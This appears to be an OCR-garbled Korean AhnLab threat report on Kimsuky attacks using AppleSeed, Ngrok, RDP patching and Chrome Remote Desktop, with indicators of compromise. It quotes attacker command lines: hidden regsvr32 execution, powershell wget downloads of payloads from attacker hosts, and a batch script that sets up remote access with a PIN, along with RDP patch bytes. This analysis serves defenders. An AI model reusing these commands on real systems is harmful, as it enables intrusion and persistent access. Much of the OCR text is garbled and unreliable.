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"targetProcess": {
1mageInfo : {
commandLlne

" -windowstyle hidden certutil
-decode c:\\w

"fileSize": 491528,
“fileName": “powershell.exe”,
"filePath": "%SystemRoc
t
}
o
"currentProcess”: {
“imageInfo”: {
“fileobj": {
"fileSize":
"fileName":
"filePath":

32\ \windowspowershell\\v1.8\\powershell.exe

%SystemRoc 32\\wscript.exe"

Figure 1. 2t 3= MX| 21
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od=Cr

> powershell.exe -windowstyle hidden cmd /c cmd /c regsvr32.exe /s /n /i:123qweASDZXC
C:\Windows\..\ProgramData\o5C2anK.efgL
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Target Type File Name File Size File Path @

Current W@ powershell.exe 480KB  96SystemRoot%\system32\windowspowershell\v1.0\powershellexe

Parent W cmd.exe 316 KB %SystemRootl\system32\cmd.exe

ParentOfParentOfCurrent @ regsvra2.exe 44 KB %SystemRootd\system32\regsvr32.exe

ParentOfParentOfParent M cmd.exe 316 KB %SystemRootl\system32\cmd.exe

Process Module Target Behavior Data

B powershell.exe Connects to network http://i = =.kr/gnuboard4/ngsvc.dat
B regsvriZ.exe B =astsoftupdate.dil Asuspicious process created a file.

B cmd.exe B powershell.exe  Creates process
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AppleSeed2} 2t = AbA
— https://asec.ahnlab.com/ko/28741/

X 20| M AFREl AppleSeed= 5 7H0|0] 25 C&C MHQIe| EAI HTTP T2 EZS AL S5ICE F 74O

AppleSeed & Stit= A8 A| ChE ot Z0| QIXEIE 2 QB HEHO(CE

> regsvr32.exe /s /n /i:123qweASDZXC C:\Windows\..\ProgramData\o5C2anK_.efgL”

=2
OFA o
otMAE == 3= by
AppleSeed HTTP  %APPDATA%Adobe\Service\AdobeService.dll 123qweASDZXC

AppleSeed HTTP = %APPDATA%EastSoft\Control\Service\EastSoftUpdate.dll =~ N/A
Table 1. ZZ0f| ALEEl AppleSeed &7

2.2. QI AEIZ]
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WPC » 2 Cj23 (C) » ProgramData » Adobe

-~

= oo 37

= [=3 ol
[4] ch.db Data Base File 29KB
1% ed.db Data Base File KB
%] nw.db Data Base File KB

4 B 3 »

[Qf’ C:wProgramDatawAdobewed.db - Motepad++

mEr HEE 276 27NV AN o E3m =0 0iE=
F M| Pe my @x|EHE
S ed.db &3 |0 | EEREEE|

url:https:// = = m- —=wm/site/login/login.do

UsSer:aaa
pass:bbb

sEHE S
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A= B

ZAH T
(x64)

= =

Windows XP

(2600 O[Af {0x83, 0xf8, 0x02, 0x7f}

Windows {0x8b, 0x81, 0x38, 0x06, 0x00, 0x00,
Vista 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00,
(6000) 0x75};

Windows 7 {0x39, 0x87, 0x3c, 0x06, 0x00, 0x00,
(7600) 0x0f, 0x84};

Windows 8.1 {0x39, 0x81, 0x3c, 0x06, 0x00, 0x00,

(19600) 0x0f, 0x84};
Windows 10,
) {0x8b, 0x99, 0x3c, 0x06, 0x00, 0x00,
Version
0x8b, 0xb9, 0x38, 0x06, 0x00, 0x00,
1803 (17134
) 0x3b, 0xdf, 0x0f, 0x84};
Windows 10,
. {0x8b, 0x81, 0x38, 0x06, 0x00, 0x00,
Version 1809
0x39, 0x81, 0x3c, 0x06, 0x00, 0x00,
(17763 ) 0|
At 0x0f, 0x84};

Table 3. RDP A{H|A Z{AH 2l G X| mH &
2.4. Ngrok

Ngroke {2l =2 o =2
O|Ct Kimsuky 34 I&E2 &
o AlARO] oY Bt 97 B A3

g 9lst 0| =Xz =

I ngrokexe S ZE0%

—

{0x90, 0x90}

{0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff,
0xff, 0xff, 0x7f, 0x90, 0x90, Oxeb};

{0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff,
0xff, Oxff, 0x7f, 0x90, 0x90};

{0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, Oxff,
0xff, 0xff, 0x7f, 0x90, 0x90};

{0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff,
0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90,
0x90, 0xe9};

{0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff,
0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90};

2ol M NAT & LH 20l ZEXSh= AL HESE 5+ U 8- A F= =7
o+ 0l A NgrokE AHF AtE5HD AT
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B cngroksngrok exe

. — tunnel

command] [f
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Figure 4. Ngrok
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"parentProcess”: {
“imageInfo™: {
“fileobj": {
“fileSize":
“fileName"
“filePath":
}
}
1
“targetProcess”: {
“imageInfo”: {
“commandLine" : vershell wget https://bigfile.mail.naver.com/download?fid=1ekgm
oewkoeqkabikxmlkaulfquladydaxgrp63cmaudmopvmqbmpxm/kzkekzewkxbmfquxp2== -outfile c:\\programda
"fileobj™: {
“filesize"

9hqujfovzfq2lfamjkogzkqgrk
ichost.exe”,

"targetProcess”: {
“fileName" “imageInfo”: {
“filePath": R \ 3 "commandLine”: "pc

} "fileObj": {
} “fileSize": 49

3 “fileName" :
“filePath":

}
b
D
"currentProcess": {
“imageInfo™: {
"Fileobj": {
“filesize": 323584,
“fileName": "cmd.exe”,

Figure 5. Ngrok AX| 21

> powershell wget hxxp://****[.]kr/gnuboard4/ngsvc.dat -outfile c:\programdata\svchost.exe
> powershell wget hxxps://bigfile.mail.naver[.]Jcom/download?
fid=lekgm6cmwzuShqujfovzfq2lfamjkogzkqgrkoewkoeqkabjkxmlkaulfqula3ydaxgrp63cm4u9mopvmgbmpxm/kzkOkzewkxbmfc

-outfile c:\programdata\svchost.exe
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“%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe”

—code="01= FE=”

Page 5 of 9


https://asec.ahnlab.com/ko/27166/

https://asec.ahnlab.com /ko/54804 /

—redirect-url="hxxps://remotedesktop.google[.]Jcom/_/oauthredirect”
—-name=%COMPUTERNAME%

Goaogle Chrome Remote Desktop

O Remote Access
Set up another computer
2% Remote Support ’

You're nearly finished! Run the following command on the remote
computer to complete the setup process. Please note that this
command can only be used to set up one computer; click Start
over if you have more computers to set up.

>_  SetupviaSSH

Windows (Cmd)

" RPROGRAMF |LES( %66 ) MGoog | efiChrome Remot e r
DesktoptiCur rent Yers fonifiremot ind_start_host.exe’ — D
code="d/0ABURZVRZEAI DNIKHEBMKEDZWBPMSSUZTV\42 hBGI -

Windows (PowerShell)

& "${Env:PROGRAMF |LES(%B6) HiGoog | e¥Chrone Remate I
DesktoptiCurrent Yers ionfiremot ing_start_host.exe” — D
code="4/04bURZYPZEA |_ONIKHCBh4KOOZWEPkI9quTV 42 hesl -

Debian Linux

Help &
DISPLAY= /opt/go0sle/chrome-remote-desktop/start-host E_E|

[3  Send feedback code="4/DALURYP2EA|_ONIKHCEROKODZGPK oou2Ty 142 hBs1

ﬂ Toggle theme

Start over
Privacy - Terms

WUE O PIN US eiSt 0| 22 8 S2APHOIN 82 Mol 17
A

I
_IE

FHPINHSE Q25

Google Chrome Remote Desktop

Remote devices

[0 Remote Access

o»

2. Remote Support DESKTO P'REMOTEC

Online
> Setupvia SSH
This device
L]
> Set up remote access
Set up this computer to be remotely accessed from another device. To
get started, click the download button.
Help @

[F1 Send feedback °

#3 Toggle theme

Figure 7. 22}01 AEH Ol 9174 X||0f CHAF &b

%EXFE x| AppleSeedOf| CHE ot Z2 nh9fdll HH S MYSI0] A5 AA HAIE TLE AAEHE MRS
o, d4X|7t 2t o|=0= & BA HAIE SAEE M0{Sh= 23.bat utd & A X|SHAC
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Target Type File Name File Size  File Path @
Current B powershell.exe 480 KB %SystemRoot?o\system32\windowspowershell\v1.0\powershell.exe
Parent B cmd.exe 316 KB %%SystemRoot\system32\cmd.exe

ParentOfParentOfCurrent 44 KB Y6SystemRooth\system32\regsvra2.exe
Process Module Target Behavior Data
B powershell.exe Connects to network http://e '= kr/gnuboard4/23.bat
B regsur3Z.exe B castsoftupdate.dll A suspicious process created a file.
B cmd.exe W powershell.exe Creates process

Figure 8. 32 FA HAIE SAEE AM&5t= Batch AT Z E MX|

> powershell wget hxxps://dl.google[.]Jcom/dl/edgedl/chrome-remote-desktop/chromeremotedesktophost.msi -
outfile c:\programdata\cm.msi

> powershell wget hxxp://****[.]kr/gnuboard4/23.bat -outfile c:\programdata\23.bat

Z7hx{0l &Y 2| x| :
ZHRH= 22 Y et Ho|M 2 AILHS KoY 5 U Ho|ot

"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting start host.exe”
--code="4/8AbUR2VPfKC4jyx4]j-ARIDZNwkebIQOTbicMGcNWLkUn7UNhEBVNaY cr3zDhYAtRx9ITdeg”
--redirect-url="https://remotedesktop.google.com/ foauthredirect”

- -name=%COMPUTERNAMER

--pin=23@625

Figure 9. 23.bat I} 2| LY

“%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe”
—code="4/0AbUR2VP{KC4jyx4j-

ARJD2NwkebJQOTbicMGcNW 1kUn7UNhEOVNaycr3zDhY4tRx9JT4eg”
—redirect-url="hxxps://remotedesktop.google[.]Jcom/_/oauthredirect”

—name=%COMPUTERNAME%

—pin=230625

4. 48
Kimsuky 22 1S 2Uf AIBXISS CHAIO 2 XIS4T 02 A0 T4 BHE +8s11 Ct F2 0ol He
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Kimsuky 22 152 28 A|AHI0| St M0 E B F(5H7| I AppeSeedLt Meterpreter 12|11 VNC M I EES
[e] =

AMEBHT o0, RIE P AIAR| 7| 2H O = EX|5He RDP 2 Bl AT S AHIAE 2851y| = BiCk 2 2of
AZ KOS 23 72 T2 YK CHIAIE 7|52 AB5t= A2l = Sel D Ut

AFEAIER2 oA 2 UlY S B ElctH M F helo| Al X[l of 5104, V3E Z| 4 HA S Z YH|0| E5H0]
Ot Eo| S AP0 Rt = USF 418 MOF BiEt

o FICH
— Downloader/BAT.Agent (2023.06.27.03)
— Backdoor/Win.AppleSeed.R588872 (2023.06.27.02)
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— Trojan/Win.Akdoor.R470485 (2022.02.05.00)
— Trojan/Win.Generic.R577010 (2023.05.15.02)

el R

— Execution/MDP.Regsvr32.M4470

— Execution/EDR.Regsvr32.M11168 (EDR)
— Execution/MDP.Regsvr32.M11169 (MDS)

MD5
80f381a20d466e7a02ea37592a26b0b8
946ele0d2e0d7785d2e2bcd3634bcd2a
b6d11017e02e7d569cfe203eda25f3aa
d2eb306ee0d7dabfe43610e0831bef49
d6a38ffdbac241d69674fb142a420740
F7}loCE ATIPHIM M SELICt
URL
http[:]//getaral[.Jmygamesonlinel.]org/
http[:]//okas|.]kr/gnuboard4/23[.]bat
http[:]//okas[.]kr/gnuboard4/ngsvc|.]dat
http[:]//pikaros2[.]r-e[.]kr/

https[:]//bigfile[.]Jmail[.]naver[.]Jcom/download?
fid=lekgqm6cmwzu9hqujfovzfq2lfamjkogzkqgrkoewkoegkabjkxmlkaulfqula3ydaxgrp63cm4u9mopvmgbmpxm/kzkOkzewkxbmfqvxp2=

Z7} 1oC= ATIPO| M M S ElL|C}
FQDN

pikaros2[.]r-e[.]kr

=7} IoC= ATIPOIM MlSELICE

AhnLab TIPE 7 =5HA[H A2 10C & &M BA HEE FIME S 2 2QI5H o= USLICH XM 8 LHE 2 of2H

B E S 2510 Sl 2 M 2.

AhnLab TIP

QR XHE el S H A M AXsH E.’«ﬂ.é
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